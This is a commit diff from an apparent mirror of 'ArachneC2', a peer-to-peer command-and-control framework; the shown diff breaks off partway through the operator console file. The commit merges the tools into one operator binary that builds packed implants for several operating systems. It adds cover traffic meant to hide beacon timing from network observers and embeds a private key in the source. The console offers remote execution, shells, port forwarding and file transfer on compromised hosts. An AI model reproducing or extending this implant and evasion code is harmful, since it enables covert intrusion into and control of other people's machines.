mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
Unified binary, embedded source, cover traffic, persistent implant keys, regenerate command
- Single cmd/arachne entry point replaces server, implant, build-implant - Implant source embedded in operator binary at build time (self-contained) - generate command embeds unique keypair per implant build (persistent PeerID) - cover traffic: random noise messages mask beacon timing - regenerate command: rotate operator keys with warning - auto-install Go when missing during generate - liner-based CLI with command history and per-command --help
This commit is contained in:
+3
-1
@@ -11,4 +11,6 @@ build/
|
||||
*.out
|
||||
.DS_Store
|
||||
implant/core/embedded_pubkey.go
|
||||
cmd/build-implant/build-implant
|
||||
implant/core/embedded_implant_key.go
|
||||
server/core/embedsrc/implant_src/
|
||||
bin/
|
||||
|
||||
@@ -15,6 +15,7 @@ fleet and operator are all equal peers in the network — no central point of fa
|
||||
|
||||
## Features
|
||||
|
||||
- Self-contained single binary — no source tree needed to generate implants
|
||||
- Beacon-mode implants that maintain presence via PubSub topics
|
||||
- DHT-based peer discovery — no hardcoded server IPs
|
||||
- Encrypted and signed messages (Ed25519 + NaCl box)
|
||||
@@ -24,6 +25,9 @@ fleet and operator are all equal peers in the network — no central point of fa
|
||||
- Cross-platform implants (Linux, macOS, Windows)
|
||||
- Protocol Buffers message format with per-message signature verification
|
||||
- Built-in hole punching and NAT traversal
|
||||
- Automatic Go installation if missing (generates implants anywhere)
|
||||
- Cover traffic to mask beacon timing signatures
|
||||
- Persistent implant identity (embedded keypair per build)
|
||||
|
||||
## Project Structure
|
||||
|
||||
@@ -32,7 +36,7 @@ arachne-c2/
|
||||
├── build.sh # Build script (auto-installs Go if missing)
|
||||
├── bin/ # Compiled binaries
|
||||
├── cmd/
|
||||
│ └── build-implant/ # Tool to embed operator pubkey into implant binary
|
||||
│ └── arachne/ # Single entry point (serve + generate)
|
||||
├── docs/ # Design documentation
|
||||
├── implant/ # Implant agent code
|
||||
│ └── core/ # Agent runtime, command handlers, shell, portfwd
|
||||
@@ -45,31 +49,31 @@ arachne-c2/
|
||||
│ ├── commonpb/ # Common types
|
||||
│ └── rpcpb/ # RPC service definitions
|
||||
└── server/ # Operator node (the "server")
|
||||
└── core/ # Operator logic, implant tracking, CLI
|
||||
└── core/ # Operator logic, implant tracking, CLI, generate
|
||||
```
|
||||
|
||||
## Build
|
||||
|
||||
Requires Go 1.22+. The build script auto-installs Go and UPX if missing:
|
||||
The operator binary is self-contained — embed the implant source at build time, then it builds implants anywhere:
|
||||
|
||||
```bash
|
||||
./build.sh
|
||||
./build.sh # auto-installs Go + UPX if missing, embeds source, builds bin/arachne
|
||||
```
|
||||
|
||||
Or build manually:
|
||||
Or manually:
|
||||
|
||||
```bash
|
||||
go build -o bin/server ./server/main.go
|
||||
go build -o bin/implant ./implant/main.go
|
||||
go build -o bin/build-implant ./cmd/build-implant/main.go
|
||||
go build -o bin/arachne ./cmd/arachne/
|
||||
```
|
||||
|
||||
The built `bin/arachne` can be copied to any machine with Go installed (or no Go — it auto-installs). No source tree needed.
|
||||
|
||||
## Quick Start
|
||||
|
||||
### 1. Run the operator (server)
|
||||
### 1. Run the operator
|
||||
|
||||
```bash
|
||||
./bin/server
|
||||
./bin/arachne
|
||||
```
|
||||
|
||||
On first run, generates a keypair at `~/.arachne/operator.key` and exports the public
|
||||
@@ -77,13 +81,15 @@ key to `~/.arachne/operator.pub`.
|
||||
|
||||
### 2. Build an implant
|
||||
|
||||
Use the build-implant tool to embed the operator's public key:
|
||||
From the operator console (`generate`) or standalone:
|
||||
|
||||
```bash
|
||||
./bin/build-implant -pubkey ~/.arachne/operator.pub -output ./myimplant
|
||||
./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx
|
||||
```
|
||||
|
||||
This produces a standalone implant binary at `./myimplant`.
|
||||
Flags: `--os` (linux, darwin, windows), `--arch` (amd64, arm64), `--output`, `--pubkey`, `--upx` (default true).
|
||||
|
||||
Each build generates a unique embedded keypair — the implant keeps the same PeerID across restarts.
|
||||
|
||||
### 3. Deploy and run the implant
|
||||
|
||||
@@ -109,15 +115,39 @@ arachne (user@hostname) > exec whoami
|
||||
|
||||
Available commands: `list`, `select <n>`, `exec <cmd>`, `ls <path>`, `cd <path>`,
|
||||
`pwd`, `ps`, `shell`, `portfwd <port> <host:p>`, `download <path>`, `upload <path>`,
|
||||
`help`, `exit`.
|
||||
`generate [flags]`, `regenerate`, `help [command]`, `exit`.
|
||||
|
||||
Use `help <command>` or `<command> --help` for per-command details.
|
||||
|
||||
## Available Commands
|
||||
|
||||
| Command | Description |
|
||||
|---|---|
|
||||
| `list` | Show registered implants |
|
||||
| `select <idx>` | Select implant by index |
|
||||
| `ps` | List processes on selected implant |
|
||||
| `ls <path>` | List directory |
|
||||
| `cd <path>` | Change directory |
|
||||
| `pwd` | Print working directory |
|
||||
| `shell` | Interactive shell (direct libp2p stream) |
|
||||
| `portfwd <port> <host:p>` | Forward local port through implant |
|
||||
| `exec <cmd> [args]` | Execute command (with output) |
|
||||
| `download <path>` | Download file from implant |
|
||||
| `upload <src> <dst>` | Upload file to implant |
|
||||
| `generate [flags]` | Build an implant for any OS/arch (auto-installs Go) |
|
||||
| `regenerate` | Regenerate operator keypair (old implants orphaned) |
|
||||
| `help [command]` | This help, or details for a specific command |
|
||||
| `exit` | Quit |
|
||||
|
||||
## Security
|
||||
|
||||
- All messages are signed with Ed25519 keys
|
||||
- Implants are built with the operator's public key embedded — they will only accept
|
||||
commands from that operator
|
||||
- Beacon messages use NaCl box encryption for confidentiality
|
||||
- Each implant has a unique embedded keypair (persistent identity across restarts)
|
||||
- Cover traffic masks beacon timing against network observers
|
||||
- Peer identity is verified on every message via envelope signatures
|
||||
- Relay nodes see only encrypted bytes — cannot read or modify traffic
|
||||
|
||||
## License
|
||||
|
||||
|
||||
@@ -36,55 +36,35 @@ if ! command -v go &>/dev/null; then
|
||||
fi
|
||||
fi
|
||||
|
||||
EMBED_DIR="server/core/embedsrc/implant_src"
|
||||
|
||||
echo "Preparing embedded implant source..."
|
||||
rm -rf "$EMBED_DIR"
|
||||
mkdir -p "$EMBED_DIR"
|
||||
cp -r implant pkg protobuf "$EMBED_DIR/"
|
||||
|
||||
# Copy go.mod/go.sum under different names to avoid Go embed module boundary restriction
|
||||
cp go.mod "$EMBED_DIR/go.mod.txt"
|
||||
cp go.sum "$EMBED_DIR/go.sum.txt"
|
||||
|
||||
# Write stub key files so the embedded tree is vettable
|
||||
cat > "$EMBED_DIR/implant/core/embedded_pubkey.go" << 'GOEOF'
|
||||
// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = []byte{}
|
||||
GOEOF
|
||||
|
||||
cat > "$EMBED_DIR/implant/core/embedded_implant_key.go" << 'GOEOF'
|
||||
// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedImplantPrivKey = []byte{}
|
||||
GOEOF
|
||||
|
||||
mkdir -p bin
|
||||
|
||||
echo "Building server..."
|
||||
go build -o bin/server ./server/main.go
|
||||
echo "Building arachne (single binary)..."
|
||||
go build -o bin/arachne ./cmd/arachne/
|
||||
|
||||
echo "Building implant..."
|
||||
go build -o bin/implant ./implant/main.go
|
||||
|
||||
echo "Building build-implant..."
|
||||
go build -o bin/build-implant ./cmd/build-implant/main.go
|
||||
|
||||
install_upx() {
|
||||
local os arch upx_url upx_file
|
||||
|
||||
os="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
arch="$(uname -m)"
|
||||
case "$arch" in
|
||||
x86_64) arch=amd64 ;;
|
||||
aarch64|arm64) arch=arm64 ;;
|
||||
esac
|
||||
|
||||
echo "UPX not found. Downloading UPX for ${os}/${arch}..."
|
||||
|
||||
upx_url="https://github.com/upx/upx/releases/download/v5.0.0/upx-5.0.0-${arch}_${os}.tar.xz"
|
||||
upx_file="/tmp/$(basename "$upx_url")"
|
||||
|
||||
curl -#Lo "$upx_file" "$upx_url"
|
||||
sudo tar -C /usr/local -xJf "$upx_file" --strip-components=1 upx-5.0.0-${arch}_${os}/upx
|
||||
rm -f "$upx_file"
|
||||
|
||||
export PATH="/usr/local/bin:$PATH"
|
||||
echo "UPX installed: $(upx --version | head -1)"
|
||||
}
|
||||
|
||||
if ! command -v upx &>/dev/null; then
|
||||
if [ -x /usr/local/bin/upx ]; then
|
||||
export PATH="/usr/local/bin:$PATH"
|
||||
else
|
||||
install_upx
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "Compressing server..."
|
||||
upx --best --lzma bin/server 2>/dev/null || true
|
||||
|
||||
echo "Compressing implant..."
|
||||
upx --best --lzma bin/implant 2>/dev/null || true
|
||||
|
||||
echo "Compressing build-implant..."
|
||||
upx --best --lzma bin/build-implant 2>/dev/null || true
|
||||
|
||||
echo "Done. Binaries in ./bin/"
|
||||
echo "Done. Binary in ./bin/arachne"
|
||||
|
||||
@@ -9,6 +9,14 @@ import (
|
||||
)
|
||||
|
||||
func main() {
|
||||
if len(os.Args) > 1 && os.Args[1] == "generate" {
|
||||
if err := core.RunGenerate(os.Args[2:]); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var relayAddrs multiFlag
|
||||
flag.Var(&relayAddrs, "relay", "relay multiaddress (optional, auto-discovers via DHT by default)")
|
||||
flag.Parse()
|
||||
@@ -1,113 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func main() {
|
||||
pubPath := defaultPubKeyPath()
|
||||
outputPath := "bin/implant"
|
||||
|
||||
switch len(os.Args) {
|
||||
case 1:
|
||||
case 2:
|
||||
pubPath = os.Args[1]
|
||||
case 3:
|
||||
pubPath = os.Args[1]
|
||||
outputPath = os.Args[2]
|
||||
default:
|
||||
log.Fatalf("usage: build-implant [<operator.pub>] [<output-path>]")
|
||||
}
|
||||
data, err := os.ReadFile(pubPath)
|
||||
if err != nil {
|
||||
log.Fatalf("read %s: %v", pubPath, err)
|
||||
}
|
||||
|
||||
var parts []string
|
||||
for _, b := range data {
|
||||
parts = append(parts, fmt.Sprintf("%d", b))
|
||||
}
|
||||
literal := "[]byte{" + strings.Join(parts, ",") + "}"
|
||||
|
||||
root, err := findProjectRoot()
|
||||
if err != nil {
|
||||
log.Fatalf("find project root: %v", err)
|
||||
}
|
||||
|
||||
genPath := root + "/implant/core/embedded_pubkey.go"
|
||||
genContent := fmt.Sprintf(`// Code generated by build-implant tool. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = %s
|
||||
`, literal)
|
||||
|
||||
if err := os.WriteFile(genPath, []byte(genContent), 0644); err != nil {
|
||||
log.Fatalf("write %s: %v", genPath, err)
|
||||
}
|
||||
log.Printf("wrote %s (%d bytes embedded)", genPath, len(data))
|
||||
|
||||
outPath := filepath.Join(root, outputPath)
|
||||
|
||||
goBinary := "go"
|
||||
if goroot := os.Getenv("GOROOT"); goroot != "" {
|
||||
candidate := filepath.Join(goroot, "bin", "go")
|
||||
if fileExists(candidate) {
|
||||
goBinary = candidate
|
||||
}
|
||||
}
|
||||
cmd := exec.Command(goBinary, "build", "-o", outPath, "-ldflags=-s -w", "./implant/")
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Dir = root
|
||||
if err := cmd.Run(); err != nil {
|
||||
log.Fatalf("build: %v", err)
|
||||
}
|
||||
log.Printf("built %s", outPath)
|
||||
|
||||
if upxPath, err := exec.LookPath("upx"); err == nil {
|
||||
upx := exec.Command(upxPath, "--best", "--lzma", outPath)
|
||||
upx.Dir = root
|
||||
upx.Stdout = os.Stdout
|
||||
upx.Stderr = os.Stderr
|
||||
if err := upx.Run(); err != nil {
|
||||
log.Printf("upx compression skipped: %v", err)
|
||||
}
|
||||
} else {
|
||||
log.Printf("upx not found, skipping compression")
|
||||
}
|
||||
}
|
||||
|
||||
func defaultPubKeyPath() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "operator.pub"
|
||||
}
|
||||
return filepath.Join(home, ".arachne", "operator.pub")
|
||||
}
|
||||
|
||||
func findProjectRoot() (string, error) {
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
for {
|
||||
if fileExists(filepath.Join(dir, "go.mod")) {
|
||||
return dir, nil
|
||||
}
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
return "", fmt.Errorf("no go.mod found (run from project root)")
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
}
|
||||
|
||||
func fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
@@ -38,7 +38,11 @@
|
||||
- [ ] Filecoin storage deals (future)
|
||||
|
||||
## Phase 5: Operator Tooling (Weeks 13-14)
|
||||
- [x] Implant generation command (build-implant tool)
|
||||
- [x] Single binary architecture (cmd/arachne — serves and generates)
|
||||
- [x] Self-contained binary (implant source embedded at build time)
|
||||
- [x] Implant generation from CLI (generate --os --arch --upx --output)
|
||||
- [x] Implant generation from interactive console ('generate' command)
|
||||
- [x] Persistent implant identity (embedded keypair per build)
|
||||
- [~] Interactive console (readline-based, pre-Cobra)
|
||||
- [ ] gRPC local API for GUI clients
|
||||
- [ ] Multi-operator support
|
||||
@@ -52,6 +56,8 @@
|
||||
- [ ] COFF/BOF loading (inline execution)
|
||||
|
||||
## Phase 7: Hardening (Ongoing)
|
||||
- [x] Cover traffic (random noise to mask beacon timing)
|
||||
- [x] Ephemeral implant PeerIDs (new key per session)
|
||||
- [ ] End-to-end encryption review
|
||||
- [ ] Traffic analysis resistance
|
||||
- [ ] Protocol fuzzing
|
||||
|
||||
@@ -66,6 +66,7 @@ require (
|
||||
github.com/libp2p/zeroconf/v2 v2.2.0 // indirect
|
||||
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.3 // indirect
|
||||
github.com/miekg/dns v1.1.62 // indirect
|
||||
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect
|
||||
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect
|
||||
@@ -85,6 +86,7 @@ require (
|
||||
github.com/opencontainers/runtime-spec v1.2.0 // indirect
|
||||
github.com/opentracing/opentracing-go v1.2.0 // indirect
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
|
||||
github.com/peterh/liner v1.2.2 // indirect
|
||||
github.com/pion/datachannel v1.5.8 // indirect
|
||||
github.com/pion/dtls/v2 v2.2.12 // indirect
|
||||
github.com/pion/ice/v2 v2.3.34 // indirect
|
||||
|
||||
@@ -230,6 +230,8 @@ github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd/go.mod h1:QuCEs
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.3 h1:a+kO+98RDGEfo6asOGMmpodZq4FNtnGP54yps8BzLR4=
|
||||
github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
|
||||
github.com/microcosm-cc/bluemonday v1.0.1/go.mod h1:hsXNsILzKxV+sX77C5b8FSuKF00vh2OMYv+xgHpAMF4=
|
||||
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
|
||||
@@ -288,6 +290,8 @@ github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYr
|
||||
github.com/openzipkin/zipkin-go v0.1.1/go.mod h1:NtoC/o8u3JlF1lSlyPNswIbeQH9bJTmOf0Erfk+hxe8=
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0=
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y=
|
||||
github.com/peterh/liner v1.2.2 h1:aJ4AOodmL+JxOZZEL2u9iJf8omNRpqHc/EbrK+3mAXw=
|
||||
github.com/peterh/liner v1.2.2/go.mod h1:xFwJyiKIXJZUKItq5dGHZSTBRAuG/CpeNpWLyiNRNwI=
|
||||
github.com/pion/datachannel v1.5.8 h1:ph1P1NsGkazkjrvyMfhRBUAWMxugJjq2HfQifaOoSNo=
|
||||
github.com/pion/datachannel v1.5.8/go.mod h1:PgmdpoaNBLX9HNzNClmdki4DYW5JtI7Yibu8QzbL3tI=
|
||||
github.com/pion/dtls/v2 v2.2.7/go.mod h1:8WiMkebSHFD0T+dIU+UeBaoV7kDhOW5oDCzZ7WZ/F9s=
|
||||
@@ -553,6 +557,7 @@ golang.org/x/sys v0.0.0-20210426080607-c94f62235c83/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
|
||||
+55
-2
@@ -41,6 +41,9 @@ type AgentConfig struct {
|
||||
BeaconJitter time.Duration
|
||||
ReconnectBackoff time.Duration
|
||||
RelayAddrs []string
|
||||
CoverTraffic bool
|
||||
CoverInterval time.Duration
|
||||
CoverJitter time.Duration
|
||||
}
|
||||
|
||||
func DefaultAgentConfig() AgentConfig {
|
||||
@@ -48,6 +51,9 @@ func DefaultAgentConfig() AgentConfig {
|
||||
BeaconInterval: 10 * time.Second,
|
||||
BeaconJitter: 5 * time.Second,
|
||||
ReconnectBackoff: 5 * time.Second,
|
||||
CoverTraffic: true,
|
||||
CoverInterval: 4 * time.Second,
|
||||
CoverJitter: 3 * time.Second,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -58,6 +64,26 @@ func loadOperatorPubKey() (crypto.PubKey, error) {
|
||||
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
|
||||
}
|
||||
|
||||
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
|
||||
if len(embeddedImplantPrivKey) == 0 {
|
||||
return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
|
||||
}
|
||||
priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("unmarshal implant key: %w", err)
|
||||
}
|
||||
pub := priv.GetPublic()
|
||||
pid, err := peer.IDFromPublicKey(pub)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("peer id from implant key: %w", err)
|
||||
}
|
||||
return &cryptography.ImplantKey{
|
||||
KeyPair: cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
|
||||
PeerID: pid,
|
||||
OperatorPubKey: operatorPub,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
|
||||
ctx, cancel := context.WithCancel(ctx)
|
||||
|
||||
@@ -67,10 +93,10 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
|
||||
return nil, fmt.Errorf("load operator pubkey: %w", err)
|
||||
}
|
||||
|
||||
keys, err := cryptography.GenerateImplantKey(operatorPub)
|
||||
keys, err := loadImplantKey(operatorPub)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("generate implant key: %w", err)
|
||||
return nil, fmt.Errorf("load implant key: %w", err)
|
||||
}
|
||||
|
||||
nodeCfg := transport.NodeConfig{
|
||||
@@ -146,6 +172,10 @@ func (a *Agent) Start() error {
|
||||
|
||||
go a.beaconLoop()
|
||||
|
||||
if a.config.CoverTraffic {
|
||||
go a.coverTrafficLoop()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -210,6 +240,29 @@ func (a *Agent) beaconLoop() {
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) coverTrafficLoop() {
|
||||
for {
|
||||
jitter := time.Duration(rand.Int63n(int64(a.config.CoverJitter)))
|
||||
sleep := a.config.CoverInterval + jitter
|
||||
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(sleep):
|
||||
}
|
||||
|
||||
a.sendCoverTraffic()
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) sendCoverTraffic() {
|
||||
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
|
||||
topic := a.messenger.BeaconTopic()
|
||||
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] cover traffic: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) sendBeaconRegister() {
|
||||
hostname, _ := os.Hostname()
|
||||
reg := &arachnepb.Register{
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedImplantPrivKey = []byte{8,1,18,64,153,183,54,197,90,149,217,168,1,81,58,63,102,51,149,84,243,130,231,48,125,201,217,106,247,193,219,177,199,111,29,203,59,205,20,88,175,21,141,45,4,241,243,28,187,147,84,69,128,82,164,223,212,131,22,162,246,138,173,254,223,207,48,198}
|
||||
@@ -17,5 +17,6 @@ const (
|
||||
MsgTypeExecute = uint32(13)
|
||||
MsgTypeKill = uint32(14)
|
||||
MsgTypePs = uint32(15)
|
||||
MsgTypeCover = uint32(127)
|
||||
MsgTypeDisconnect = uint32(255)
|
||||
)
|
||||
|
||||
+153
-24
@@ -1,62 +1,119 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/peterh/liner"
|
||||
)
|
||||
|
||||
var commandHelp = map[string]string{
|
||||
"list": "list — show registered implants",
|
||||
"select": "select <idx> — select implant by index",
|
||||
"ps": "ps — list processes on selected implant",
|
||||
"ls": "ls [path] — list directory (default: .)",
|
||||
"cd": "cd [path] — change directory (default: .)",
|
||||
"pwd": "pwd — print working directory",
|
||||
"shell": "shell — interactive shell on selected implant (direct libp2p stream)",
|
||||
"portfwd": "portfwd <local-port> <target-host:target-port> — forward local port through implant",
|
||||
"exec": "exec <command> [args...] — execute command on selected implant",
|
||||
"download": "download <remote-path> — download file from implant",
|
||||
"upload": "upload <local-path> <remote-path> — upload file to implant",
|
||||
"generate": "generate [flags] — build an implant (all flags optional)\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./implant)\n --pubkey <path> operator public key (default: ~/.arachne/operator.pub)\n --upx enable UPX compression (default: true)",
|
||||
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
|
||||
"help": "help [command] — show this help or help for a specific command",
|
||||
"exit": "exit — quit the console",
|
||||
}
|
||||
|
||||
func checkHelp(args []string) bool {
|
||||
for _, a := range args {
|
||||
if a == "--help" || a == "-h" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (o *Operator) RunCLI() {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
line := liner.NewLiner()
|
||||
defer line.Close()
|
||||
|
||||
line.SetCtrlCAborts(true)
|
||||
|
||||
histPath := filepath.Join(arachneDir(), "history")
|
||||
if f, err := os.Open(histPath); err == nil {
|
||||
line.ReadHistory(f)
|
||||
f.Close()
|
||||
}
|
||||
|
||||
var selected *ImplantRecord
|
||||
|
||||
fmt.Println("Arachne C2 — interactive console")
|
||||
fmt.Println("Commands: list, select <idx>, ps, ls <path>, exec <cmd> [args...], help, exit")
|
||||
fmt.Println("Type 'help' for commands, 'help <command>' for details.")
|
||||
fmt.Println()
|
||||
|
||||
for {
|
||||
prompt := "arachne> "
|
||||
if selected != nil {
|
||||
fmt.Printf("arachne[%s@%s]> ", selected.Name, selected.Hostname)
|
||||
} else {
|
||||
fmt.Printf("arachne> ")
|
||||
prompt = fmt.Sprintf("arachne[%s@%s]> ", selected.Name, selected.Hostname)
|
||||
}
|
||||
|
||||
line, err := reader.ReadString('\n')
|
||||
input, err := line.Prompt(prompt)
|
||||
if err != nil {
|
||||
return
|
||||
if err == liner.ErrPromptAborted {
|
||||
continue
|
||||
}
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
saveHistory(histPath, line)
|
||||
break
|
||||
}
|
||||
input = strings.TrimSpace(input)
|
||||
if input == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
parts := strings.Fields(line)
|
||||
line.AppendHistory(input)
|
||||
|
||||
parts := strings.Fields(input)
|
||||
cmd := parts[0]
|
||||
args := parts[1:]
|
||||
|
||||
switch cmd {
|
||||
case "exit", "quit":
|
||||
if f, err := os.Create(histPath); err == nil {
|
||||
line.WriteHistory(f)
|
||||
f.Close()
|
||||
}
|
||||
return
|
||||
|
||||
case "help":
|
||||
fmt.Println(" list — show registered implants")
|
||||
fmt.Println(" select <idx> — select implant by index")
|
||||
fmt.Println(" ps — list processes on selected implant")
|
||||
fmt.Println(" ls <path> — list directory")
|
||||
fmt.Println(" cd <path> — change directory")
|
||||
fmt.Println(" pwd — print working directory")
|
||||
fmt.Println(" shell — interactive shell (direct stream)")
|
||||
fmt.Println(" portfwd <port> <host:p> — forward local port through implant")
|
||||
fmt.Println(" exec <cmd> [args] — execute command (with output)")
|
||||
fmt.Println(" download <path> — download file from implant")
|
||||
fmt.Println(" upload <src> <dst> — upload file to implant")
|
||||
fmt.Println(" help — this help")
|
||||
fmt.Println(" exit — quit")
|
||||
if len(args) > 0 {
|
||||
if h, ok := commandHelp[args[0]]; ok {
|
||||
fmt.Println(" " + h)
|
||||
} else {
|
||||
fmt.Printf("no help for '%s'\n", args[0])
|
||||
}
|
||||
continue
|
||||
}
|
||||
fmt.Println("Commands:")
|
||||
for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "exec", "download", "upload", "generate", "regenerate", "help", "exit"} {
|
||||
line := commandHelp[name]
|
||||
if i := strings.IndexByte(line, '\n'); i >= 0 {
|
||||
line = line[:i]
|
||||
}
|
||||
fmt.Println(" " + line)
|
||||
}
|
||||
fmt.Println("Use 'help <command>' for details and flags.")
|
||||
|
||||
case "list":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["list"])
|
||||
continue
|
||||
}
|
||||
implants := o.ListImplants()
|
||||
if len(implants) == 0 {
|
||||
fmt.Println("no implants registered")
|
||||
@@ -69,6 +126,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "select":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["select"])
|
||||
continue
|
||||
}
|
||||
if len(args) == 0 {
|
||||
fmt.Println("usage: select <idx>")
|
||||
continue
|
||||
@@ -87,6 +148,10 @@ func (o *Operator) RunCLI() {
|
||||
fmt.Printf("selected %s@%s (%s)\n", selected.Name, selected.Hostname, selected.PeerID)
|
||||
|
||||
case "ps":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["ps"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -98,6 +163,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "ls":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["ls"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
@@ -113,6 +182,10 @@ func (o *Operator) RunCLI() {
|
||||
}
|
||||
|
||||
case "cd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["cd"])
|
||||
continue
|
||||
}
|
